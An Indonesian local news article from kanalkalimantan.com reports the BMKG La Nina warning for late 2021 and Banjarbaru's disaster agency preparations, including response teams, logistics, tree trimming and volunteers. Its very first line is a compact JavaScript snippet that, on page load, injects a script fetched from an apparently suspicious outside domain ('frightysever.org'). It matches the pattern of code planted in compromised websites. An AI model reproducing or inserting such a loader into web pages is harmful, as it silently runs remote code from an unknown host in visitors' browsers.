(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi dan Geofisika (BMKG) memberikan peringatan dini badai La Nina menjelang akhir tahun 2021. Peringatan ini berdasarkan pengamatan data suhu permukaan laut di Samudera Pasifik terbaru.
Menanggapi peringatan tersebut Kepala Pelaksana (Kalaksa) Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarbaru, Zaini Syahranie mengatakan, guna menghindari hal-hal yang tidak diinginkan, BPBD sudah menyiapkan sarana dan prasarana termasuk petugas Tim Reaksi Cepat (TRC) dan tanggap bencana.
“Badai La Nina ini memunculkan bencana yang disebabkan dari hujan lebat disertai angin kencang, kasus yang kita rasakan sekarang seperti banjir dan puting beliung,” ujarnya.
BPBD Kota Banjarbaru, kata Zaini, dalam menghadapi bencana ini dirinya sudah menyiapkan logistik yang mumpuni untuk menghadapi badai La Nina ini.
Kalaksa BPBD Banjarbaru Zaini Syahranie. Foto : ibnu
Baca juga : Bupati Banjar Buka Konsultasi Publik RDTR Wilayah Perkotaan Gambut – Kertak Hanyar
“Insyaallah personel siap dan stok logistik tidak ada masalah mengenai ketersediaan,” ujarnya.
Zaini mengimbau kepada masyarakat karena badai La Nina ini, potensi hujan deras yang disertai angin kencang bagi warga yang rumahnya ada pepohonan besar agar memangkas rantingnya, guna mengurangi dampak atau risiko yang disebabkan.
“Pohon besar dan tinggi kami imbau untuk dipangkas sedini mungkin, supaya tidak roboh atau tumbang,” ingatnya.
“Serta resapan-resapan air agar diperhatikan dan dibersihkan untuk menghindari penyumbatan dan terhindar dari bencana banjir,” tambahnya.
Baca juga : Launching Aplikasi di PN Buntok, Bupati Edy Raya Dukung Zona Integritas
Di Banjarbaru sendiri, diungkapkan Zaini, sudah menyiapkan Relawan Peduli Bencana yang disiapkannya untuk mengantisipasi apabila terjadi bencana. Adanya relawan peduli bencana bisa menjadi andalan masyarakat ketika terjadi bencana.
“Kami sudah menyiapkan relawan-relawan kami di setiap kelurahan, sekarang baru ada 10 kelurahan yang kami bina,” pungkasnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.